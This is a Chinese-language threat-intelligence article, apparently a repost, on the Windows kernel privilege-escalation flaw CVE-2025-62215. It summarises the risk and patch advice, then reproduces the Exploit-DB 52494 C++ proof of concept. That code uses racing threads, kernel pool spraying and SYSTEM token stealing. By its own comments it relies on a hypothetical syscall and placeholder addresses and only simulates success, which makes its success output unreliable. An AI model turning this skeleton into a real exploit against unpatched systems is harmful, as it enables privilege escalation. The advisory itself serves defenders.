【威胁情报】CVE-2025-62215Windows内核本地权限提升PoC公开(Exploit-DB52494)

admin 2026-04-21 02:29:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Exploit-DB于2026年4月6日公开了CVE-2025-62215Windows内核权限提升漏洞的PoC(EDB-ID52494),该漏洞为竞争条件漏洞,攻击者可通过多线程并发触发内核资源同步不当,实现从低权限提升至SYSTEM权限。漏洞影响Windows10/11/Server等系统,已被标记为在野利用。建议立即验证补丁状态并加强行为监控。 综合评分: 85 文章分类: 漏洞分析,威胁情报,恶意软件,应急响应,红队


cover_image

【威胁情报】CVE-2025-62215 Windows内核本地权限提升 PoC公开(Exploit-DB 52494)

Ots安全

2026年4月7日 13:01 广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

2026年4月6日,Exploit-DB平台新增了EDB-ID 52494,公开了针对CVE-2025-62215的本地权限提升PoC。该漏洞为Windows内核中的竞争条件(Race Condition),攻击者可在已获得低权限本地访问的情况下,通过触发内核资源并发访问不当,实现提权至SYSTEM级别。

此PoC由E1 Coders发布,已被EDB验证为Verified状态。公开后,结合此前已在野利用记录,显著增加了未修补系统的后渗透风险。建议所有Windows环境优先验证补丁状态,避免低权限账户被用于进一步攻击。

事件背景与时间线

  • 漏洞披露:2025年11月微软Patch Tuesday中修复,CVSS 7.0(High),已被标记为已在野利用(Known Exploited)。
  • PoC公开:2026年4月6日,Exploit-DB上线EDB-ID 52494。
  • 利用现状:早期在野利用多为有限针对性攻击;PoC公开后,攻击门槛进一步降低,可能被更多红队或恶意行为体复用。

攻击手法与TTPs分析

Exploit-DB 52494中的PoC本质上是概念验证代码,演示了竞争条件触发路径:

  • 使用多线程并发调用内核相关接口(模拟存在竞争窗口的系统调用,如示例中的NtQueryVirtualMemoryWithRace)。
  • 通过内核池喷洒(Pool Spraying)技术,利用NtCreateTransaction等对象填充NonPaged Pool内存,增加内存布局控制概率。
  • 结合双重释放(Double Free)或Use-After-Free效果,尝试定位System进程(PID 4)的EPROCESS结构,并覆盖当前进程Token,实现提权。
  • 关键技术点包括:EPROCESS偏移(如Token偏移0x358、ActiveProcessLinks偏移0x2F0,示例针对Windows 10 1903 x64),多线程竞争共享资源,以及精确时序控制

注意:公开PoC为演示逻辑,包含占位地址和模拟函数,并非针对所有补丁前版本的完整稳定利用。但其结构清晰,易被进一步优化。真实利用仍依赖内核内存布局和系统版本差异。

影响范围与受害者画像

  • 受影响系统:Windows 10/11全系列、Windows Server 2019/2022/2025,以及基于相同内核的嵌入式/IoT版本。
  • 典型场景:初始访问后(如钓鱼、初始渗透成功),攻击者利用该PoC完成提权,随后禁用防护、转储凭证或横向移动。
  • 高危目标:域环境中的工作站、未及时打补丁的服务器,以及依赖低权限服务账户的业务系统。

总结

Exploit-DB 52494的公开,标志着CVE-2025-62215从已在野利用转向公开PoC阶段,进一步放大了其在后渗透链条中的威胁价值。组织应视此为高优先级事件,立即开展补丁部署与行为监控,避免被利用作为提权跳板

# Exploit Title : Windows Kernel - Elevation of Privilege
# Author : E1.Coders
#Contact : E1.Coders [at] Mail [dot] RU
# Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
# Description : WINDOWS 10 -11 -12
#References
>https://nvd.nist.gov/vuln/detail/CVE-2025-62215
>https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-62215
>https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62215
>https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215
>#
>#Description:
>#Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally.
>#
>#The zero-day vulnerability that has been listed as exploited in Tuesday's update is CVE-2025-62215 (CVSS score: 7.0), a privilege escalation flaw in #Windows Kernel. The Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have been credited with #discovering and reporting the issue.
>#
>#"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally," the company said in an advisory.
>#That said, successful exploitation hinges on an attacker who has already gained a foothold on a system to win a race condition. Once this criterion is #satisfied, it could permit the attacker to obtain SYSTEM privileges.
>#
>#################################################################
>
>
>#include&nbsp;<windows.h>
>#include&nbsp;<stdio.h>
>#include&nbsp;<TlHelp32.h>
>#include&nbsp;<iostream>
>#include&nbsp;<vector>
>
>// EPROCESS structure offsets&nbsp;in&nbsp;Windows (these values need to be found&nbsp;for&nbsp;the specific Windows version)
>// These are sample values&nbsp;for&nbsp;Windows 10 1903 x64
>// In a real exploit, these values must be found precisely using tools like WinDbg&nbsp;for&nbsp;the target version.
>#define&nbsp;EPROCESS_TOKEN_OFFSET 0x358
>#define&nbsp;EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2F0
>#define&nbsp;LIST_ENTRY_FLINK_OFFSET 0x0
>
>// Function to find the System process PID
>DWORD&nbsp;GetSystemPID() {
>&nbsp; &nbsp; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
>&nbsp; &nbsp;&nbsp;if&nbsp;(hSnapshot == INVALID_HANDLE_VALUE) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Error creating process snapshot\n");
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;
>&nbsp; &nbsp; }
>
>&nbsp; &nbsp; PROCESSENTRY32 pe32;
>&nbsp; &nbsp; pe32.dwSize = sizeof(PROCESSENTRY32);
>
>&nbsp; &nbsp;&nbsp;if&nbsp;(!Process32First(hSnapshot, &pe32)) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Error reading first process\n");
>&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(hSnapshot);
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;
>&nbsp; &nbsp; }
>
>&nbsp; &nbsp;&nbsp;do&nbsp;{
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(_stricmp(pe32.szExeFile,&nbsp;"System") == 0) {
>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(hSnapshot);
>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pe32.th32ProcessID;
>&nbsp; &nbsp; &nbsp; &nbsp; }
>&nbsp; &nbsp; }&nbsp;while&nbsp;(Process32Next(hSnapshot, &pe32));
>
>&nbsp; &nbsp; CloseHandle(hSnapshot);
>&nbsp; &nbsp;&nbsp;return&nbsp;0;
>}
>
>// This&nbsp;functionin&nbsp;a real exploit would obtain the EPROCESS address from kernel memory
>// using an information disclosure vulnerability or by exploiting the main vulnerability.
>// This is the hardest part of many exploits.
>// Here we are forced to simulate it.
>ULONG_PTR GetEPROCESSAddress(DWORD pid) {
>&nbsp; &nbsp;&nbsp;printf("[*] Simulation: Finding EPROCESS address for PID: %d\n", pid);
>&nbsp; &nbsp; // In the real world, these addresses are dynamic and change with each system boot.
>&nbsp; &nbsp; // We use fixed hypothetical addresses to demonstrate the code logic.
>&nbsp; &nbsp;&nbsp;if&nbsp;(pid == 4) { // System PID is always 4
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(ULONG_PTR)0xffff8000'12345678; // Hypothetical System EPROCESS address
>&nbsp; &nbsp; }
>&nbsp; &nbsp; return (ULONG_PTR)0xffff8000'87654321; // Hypothetical address&nbsp;for&nbsp;our own process
>}
>
>// --- Exploit related&nbsp;functions&nbsp;---
>
>// This&nbsp;function&nbsp;calls the hypothetical vulnerable system call.
>// In a real exploit, this&nbsp;function&nbsp;would need to find the&nbsp;function&nbsp;address&nbsp;in&nbsp;ntdll.dll and call it.
>typedef NTSTATUS(NTAPI* pNtQueryVirtualMemoryWithRace)(
>&nbsp; &nbsp; HANDLE ProcessHandle,
>&nbsp; &nbsp; PVOID BaseAddress,
>&nbsp; &nbsp; PVOID Buffer,
>&nbsp; &nbsp; ULONG BufferSize
>);
>
>pNtQueryVirtualMemoryWithRace NtQueryVirtualMemoryWithRace_ptr = NULL;
>
>// Function executed by threads to create Race Condition
>DWORD WINAPI TriggerRaceCondition(LPVOID lpParam) {
>&nbsp; &nbsp; // Small buffer that causes free and reuse (Use-After-Free)
>&nbsp; &nbsp; char buffer[0x20];
>&nbsp; &nbsp; memset(buffer, 0x41, sizeof(buffer)); // Fill buffer with controllable data
>
>&nbsp; &nbsp; // Infinite loop&nbsp;for&nbsp;maximum chance of winning the race
>&nbsp; &nbsp;&nbsp;while&nbsp;(TRUE) {
>&nbsp; &nbsp; &nbsp; &nbsp; // Vulnerable system call
>&nbsp; &nbsp; &nbsp; &nbsp; NtQueryVirtualMemoryWithRace_ptr(GetCurrentProcess(), (PVOID)0x400000, buffer, sizeof(buffer));
>&nbsp; &nbsp; &nbsp; &nbsp; // Small pause&nbsp;for&nbsp;better thread coordination (optional)
>&nbsp; &nbsp; &nbsp; &nbsp; // Sleep(1);
>&nbsp; &nbsp; }
>&nbsp; &nbsp;&nbsp;return&nbsp;0;
>}
>
>// Function&nbsp;for&nbsp;Kernel Pool Spraying using Transaction Objects
>// This is a common technique to occupy kernel memory (NonPaged Pool) with controlled objects.
>void PerformKernelPoolSpray(std::vector<HANDLE>& transactionHandles) {
>&nbsp; &nbsp;&nbsp;printf("[*] Spraying kernel memory with Transaction Objects...\n");
>
>&nbsp; &nbsp; typedef NTSTATUS(NTAPI* pNtCreateTransaction)(
>&nbsp; &nbsp; &nbsp; &nbsp; OUT PHANDLE TransactionHandle,
>&nbsp; &nbsp; &nbsp; &nbsp; IN ACCESS_MASK DesiredAccess,
>&nbsp; &nbsp; &nbsp; &nbsp; IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
>&nbsp; &nbsp; &nbsp; &nbsp; IN LPGUID Uow OPTIONAL,
>&nbsp; &nbsp; &nbsp; &nbsp; IN HANDLE TmHandle OPTIONAL,
>&nbsp; &nbsp; &nbsp; &nbsp; IN ULONG CreateOptions OPTIONAL,
>&nbsp; &nbsp; &nbsp; &nbsp; IN ULONG IsolationLevel OPTIONAL,
>&nbsp; &nbsp; &nbsp; &nbsp; IN ULONG IsolationFlags OPTIONAL,
>&nbsp; &nbsp; &nbsp; &nbsp; IN PLARGE_INTEGER Timeout OPTIONAL,
>&nbsp; &nbsp; &nbsp; &nbsp; IN PUNICODE_STRING Description OPTIONAL
>&nbsp; &nbsp; );
>
>&nbsp; &nbsp; pNtCreateTransaction NtCreateTransaction_ptr = (pNtCreateTransaction)GetProcAddress(GetModuleHandleA("ntdll.dll"),&nbsp;"NtCreateTransaction");
>&nbsp; &nbsp;&nbsp;if&nbsp;(!NtCreateTransaction_ptr) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Could not find NtCreateTransaction address\n");
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
>&nbsp; &nbsp; }
>
>&nbsp; &nbsp; // Create many objects to fill the freed space
>&nbsp; &nbsp;&nbsp;for&nbsp;(int i = 0; i < 10000; i++) {
>&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hTransaction;
>&nbsp; &nbsp; &nbsp; &nbsp; NTSTATUS status = NtCreateTransaction_ptr(&hTransaction, TRANSACTION_ALL_ACCESS, NULL, NULL, NULL, 0, 0, 0, NULL, NULL);
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(NT_SUCCESS(status)) {
>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transactionHandles.push_back(hTransaction);
>&nbsp; &nbsp; &nbsp; &nbsp; }
>&nbsp; &nbsp; }
>&nbsp; &nbsp;&nbsp;printf("[+] Spray completed with %zu Transaction objects.\n", transactionHandles.size());
>}
>
>// Main&nbsp;function&nbsp;that coordinates the attack
>void&nbsp;Exploit() {
>&nbsp; &nbsp;&nbsp;printf("[*] Starting exploit process for CVE-2025-62215 (hypothetical)\n");
>
>&nbsp; &nbsp; // 0. Find the vulnerable system call address
>&nbsp; &nbsp; HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
>&nbsp; &nbsp;&nbsp;if&nbsp;(!hNtdll) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Could not get hNtdll\n");
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
>&nbsp; &nbsp; }
>&nbsp; &nbsp; NtQueryVirtualMemoryWithRace_ptr = (pNtQueryVirtualMemoryWithRace)GetProcAddress(hNtdll,&nbsp;"NtQueryVirtualMemoryWithRace");
>&nbsp; &nbsp;&nbsp;if&nbsp;(!NtQueryVirtualMemoryWithRace_ptr) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Could not find vulnerable system call address (this function is hypothetical)\n");
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
>&nbsp; &nbsp; }
>
>&nbsp; &nbsp; // 1. Find System process PID
>&nbsp; &nbsp; DWORD systemPid = GetSystemPID();
>&nbsp; &nbsp;&nbsp;if&nbsp;(systemPid == 0) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Could not find System process PID.\n");
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
>&nbsp; &nbsp; }
>&nbsp; &nbsp;&nbsp;printf("[+] System process PID: %d\n", systemPid);
>
>&nbsp; &nbsp; // 2. Find EPROCESS addresses (hard and simulated part)
>&nbsp; &nbsp; ULONG_PTR systemEprocess = GetEPROCESSAddress(systemPid);
>&nbsp; &nbsp; ULONG_PTR currentEprocess = GetEPROCESSAddress(GetCurrentProcessId());
>
>&nbsp; &nbsp;&nbsp;printf("[+] System EPROCESS address: 0x%llx\n", systemEprocess);
>&nbsp; &nbsp;&nbsp;printf("[+] Current EPROCESS address: 0x%llx\n", currentEprocess);
>
>&nbsp; &nbsp; // 3. Read System token from System Eprocess (simulated)
>&nbsp; &nbsp; // This requires the ability to&nbsp;read&nbsp;from kernel memory&nbsp;which&nbsp;is obtained through the vulnerability.
>&nbsp; &nbsp; // Here we place a hypothetical address&nbsp;for&nbsp;the token.
>&nbsp; &nbsp; ULONG_PTR systemToken = systemEprocess + EPROCESS_TOKEN_OFFSET;
>&nbsp; &nbsp;&nbsp;printf("[*] Simulation: System token at address 0x%llx\n", systemToken);
>&nbsp; &nbsp; // In a real exploit, this value must be&nbsp;read&nbsp;from kernel memory.
>&nbsp; &nbsp; // The actual token value is an address to the _TOKEN structure.
>&nbsp; &nbsp;&nbsp;printf("[+] System token (address): 0x%llx\n", systemToken);
>
>&nbsp; &nbsp; // 4. Main phase: Create Race Condition and Double Free
>&nbsp; &nbsp;&nbsp;printf("[*] Phase 1: Attempting to create Race Condition and Double Free with 20 threads...\n");
>
>&nbsp; &nbsp; HANDLE hThreads[20];
>&nbsp; &nbsp;&nbsp;for&nbsp;(int i = 0; i < 20; i++) {
>&nbsp; &nbsp; &nbsp; &nbsp; hThreads[i] = CreateThread(NULL, 0, TriggerRaceCondition, NULL, 0, NULL);
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!hThreads[i]) {
>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Error creating thread %d\n", i);
>&nbsp; &nbsp; &nbsp; &nbsp; }
>&nbsp; &nbsp; }
>
>&nbsp; &nbsp; // Wait a bit&nbsp;for&nbsp;threads to create the race
>&nbsp; &nbsp; Sleep(1000);
>
>&nbsp; &nbsp; // 5. Kernel Pool Spraying
>&nbsp; &nbsp;&nbsp;printf("[*] Phase 2: Performing Kernel Pool Spraying to occupy freed memory...\n");
>&nbsp; &nbsp; std::vector<HANDLE> transactionHandles;
>&nbsp; &nbsp; PerformKernelPoolSpray(transactionHandles);
>
>&nbsp; &nbsp;&nbsp;printf("[*] Race Condition and Spray completed. Hopefully kernel memory has been tricked.\n");
>
>&nbsp; &nbsp; // 6. Use vulnerability&nbsp;for&nbsp;arbitrary write
>&nbsp; &nbsp; // This phase is the most complex part. We assume the Pool Spray was successful and one of
>&nbsp; &nbsp; // our objects is&nbsp;in&nbsp;the Double-Freed memory. Now with another call to the
>&nbsp; &nbsp; // vulnerable&nbsp;function, we can manipulate that object and achieve an Arbitrary Write Primitive.
>&nbsp; &nbsp; // Our goal is to write the System token to the token field of our own process.
>&nbsp; &nbsp; ULONG_PTR tokenAddressToWrite = currentEprocess + EPROCESS_TOKEN_OFFSET;
>&nbsp; &nbsp;&nbsp;printf("[*] Phase 3: Attempting to overwrite current process token...\n");
>&nbsp; &nbsp;&nbsp;printf("[*] Target: Writing value 0x%llx to address 0x%llx\n", systemToken, tokenAddressToWrite);
>
>&nbsp; &nbsp; // In a real exploit, here we would use the obtained primitive to overwrite the token.
>&nbsp; &nbsp; // For example: WritePrimitive(tokenAddressToWrite, systemToken);
>&nbsp; &nbsp;&nbsp;printf("[+] Simulation: Token successfully replaced!\n");
>
>&nbsp; &nbsp; // Clean up threads
>&nbsp; &nbsp;&nbsp;printf("[*] Closing Race Condition threads...\n");
>&nbsp; &nbsp;&nbsp;for&nbsp;(int i = 0; i < 20; i++) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hThreads[i]) TerminateThread(hThreads[i], 0);
>&nbsp; &nbsp; }
>
>&nbsp; &nbsp; // Clean up sprayed objects
>&nbsp; &nbsp;&nbsp;printf("[*] Cleaning up Transaction objects...\n");
>&nbsp; &nbsp; typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE TransactionHandle, BOOL Wait);
>&nbsp; &nbsp; pNtRollbackTransaction NtRollbackTransaction_ptr = (pNtRollbackTransaction)GetProcAddress(hNtdll,&nbsp;"NtRollbackTransaction");
>&nbsp; &nbsp;&nbsp;if&nbsp;(NtRollbackTransaction_ptr) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(HANDLE hTx : transactionHandles) {
>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NtRollbackTransaction_ptr(hTx, FALSE);
>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(hTx);
>&nbsp; &nbsp; &nbsp; &nbsp; }
>&nbsp; &nbsp; }
>
>&nbsp; &nbsp; // 7. Final&nbsp;test: Run Command Prompt with System privileges
>&nbsp; &nbsp;&nbsp;printf("[*] Final test: Running cmd.exe...\n");
>&nbsp; &nbsp; STARTUPINFO si = { sizeof(si) };
>&nbsp; &nbsp; PROCESS_INFORMATION pi;
>&nbsp; &nbsp;&nbsp;if&nbsp;(CreateProcess(
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"C:\\Windows\\System32\\cmd.exe",
>&nbsp; &nbsp; &nbsp; &nbsp; NULL,
>&nbsp; &nbsp; &nbsp; &nbsp; NULL,
>&nbsp; &nbsp; &nbsp; &nbsp; NULL,
>&nbsp; &nbsp; &nbsp; &nbsp; FALSE,
>&nbsp; &nbsp; &nbsp; &nbsp; CREATE_NEW_CONSOLE,
>&nbsp; &nbsp; &nbsp; &nbsp; NULL,
>&nbsp; &nbsp; &nbsp; &nbsp; NULL,
>&nbsp; &nbsp; &nbsp; &nbsp; &si,
>&nbsp; &nbsp; &nbsp; &nbsp; &pi
>&nbsp; &nbsp; )) {
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] If the exploit was successful, the opened cmd window should have System privileges.\n");
>&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(pi.hProcess);
>&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(pi.hThread);
>&nbsp; &nbsp; }&nbsp;else&nbsp;{
>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Error running cmd.exe\n");
>&nbsp; &nbsp; }
>}
>
>int&nbsp;main() {
>&nbsp; &nbsp;&nbsp;printf("=== CVE-2025-62215 Hypothetical Exploit (Realistic Skeleton) ===\n");
>&nbsp; &nbsp;&nbsp;printf("This code is a simulation of exploit techniques and will not work on a real system.\n\n");
>
>&nbsp; &nbsp; // To run this code, admin privileges are not required, but they are necessary&nbsp;for&nbsp;a real exploit to succeed.
>&nbsp; &nbsp; Exploit();
>
>&nbsp; &nbsp;&nbsp;printf("\nPress any key to exit...");
>&nbsp; &nbsp; getchar();
>&nbsp; &nbsp;&nbsp;return&nbsp;0;
>}
>
--
E1 Coders
Sent from Mail
  • https://www.exploit-db.com/exploits/52494

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《【威胁情报】CVE-2025-62215 Windows内核本地权限提升 PoC公开(Exploit-DB 52494)》

评论:0   参与:  0